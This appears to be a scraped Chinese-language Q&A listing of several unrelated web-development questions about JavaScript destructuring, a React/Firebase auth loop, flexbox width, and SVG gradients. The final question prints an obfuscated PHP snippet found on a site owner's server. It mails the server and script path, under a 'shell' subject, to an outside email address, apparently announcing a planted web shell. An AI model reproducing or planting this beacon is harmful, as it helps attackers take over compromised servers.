我认为我可以使用以下语法,但它不能按预期工作(“重命名”未定义):
const test= ({ var1, var2, renamed = var3 }) => { ...
Run Code Online (Sandbox Code Playgroud)
我发现我可以执行以下操作,但我想知道是否有更简洁的方法可以在括号内执行此操作。非常感谢。
const test= ({ var1, var2, var3 }) => { ...
const renamed = var3; ...
Run Code Online (Sandbox Code Playgroud) 我有一个提供程序组件,它从 firebase-auth 设置初始身份验证上下文。
一切工作正常,直到我尝试以设置观察者的形式添加持久性onAuthStateChanged
。这会检查身份验证,并通过调度方法更新我的状态。
但这导致了无限循环。我添加了取消订阅函数调用,但这没有什么区别,
有人可以建议吗?谢谢
AuthContext.js
import React from "react";
import * as firebase from "firebase/app";
//firebaseauth reducer
import { firebaseAuth } from "../reducers/AuthReducer";
export const Auth = React.createContext();
const initialState = { user: {} };
export const AuthProvider = (props) => {
const [state, dispatch] = React.useReducer(firebaseAuth, initialState);
const value = { state, dispatch };
const unsubscribe = firebase.auth().onAuthStateChanged((user) => {
dispatch({
type: "HYDRATE_AUTH",
payload: user,
});
});
unsubscribe();
return <Auth.Provider value={value}>{props.children}</Auth.Provider>;
};
Run Code Online (Sandbox Code Playgroud) 我想拥有services-bar__title
并services-bar__services
拥有一个max-width
of1024px
以便我获得容器的正常 flexbox 行为,如下所示,但列表不会比1024px
视口更宽时进一步扩展。我尝试设置容器宽度和最大宽度,但它似乎没有按预期工作,因为容器不再居中,有什么想法吗?
.services-bar {
display: flex;
flex-direction: column;
height: 20rem;
width: 100%;
box-shadow: 0 -3rem 8rem rgba(#000, 0.5);
}
.services-bar__title {
display: flex;
flex-direction: row;
justify-content: center;
}
.services-bar__services {
display: flex;
flex-direction: row;
justify-content: center;
}
Run Code Online (Sandbox Code Playgroud)
<div class="services-bar">
<div class="services-bar__title">
test title
</div>
<div class="services-bar__services">
<div class="services-bar__services_1"></div>
<ul>
<li>test</li>
<li>test</li>
<li>test</li>
<li>test</li>
</ul>
<div class="services-bar__services_2"></div>
<ul>
<li>test</li>
<li>test</li>
<li>test</li>
<li>test</li>
</ul>
<div class="services-bar__services_3"></div>
<ul>
<li>test</li>
<li>test</li>
<li>test</li>
<li>test</li> …
Run Code Online (Sandbox Code Playgroud)我已经使用SVG元素和一些CSS成功实现了SVG渐变,请参见下文。我有一个黑白的.SVG图像,想将渐变应用于SVG图像的黑色部分。
的HTML
<svg width="100" height="50" version="1.1" xmlns="http://www.w3.org/2000/svg">
<style type="text/css">
rect{fill:url(#MyGradient)}
</style>
<defs>
<linearGradient id="MyGradient">
<stop offset="5%" stop-color="#F60" />
<stop offset="95%" stop-color="#FF6" />
</linearGradient>
</defs>
<rect width="100" height="50"/>
</svg>
Run Code Online (Sandbox Code Playgroud)
的CSS
rect {
cursor: pointer;
shape-rendering: crispEdges;
fill: url(#MyGradient);
}
Run Code Online (Sandbox Code Playgroud)
有没有办法将其直接应用于我下载的.svg图像?
我发现这个嵌入在我网站上的一个php文件中,谁能告诉我它的作用?
$x0b="\x6da\x69l";
$ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"];
$sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms;
$o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63");
$ee = $o[2].$o[3].$o[1].$o[4].$o[0];
$send = @$x0b($ee,$sub,$ms);
Run Code Online (Sandbox Code Playgroud)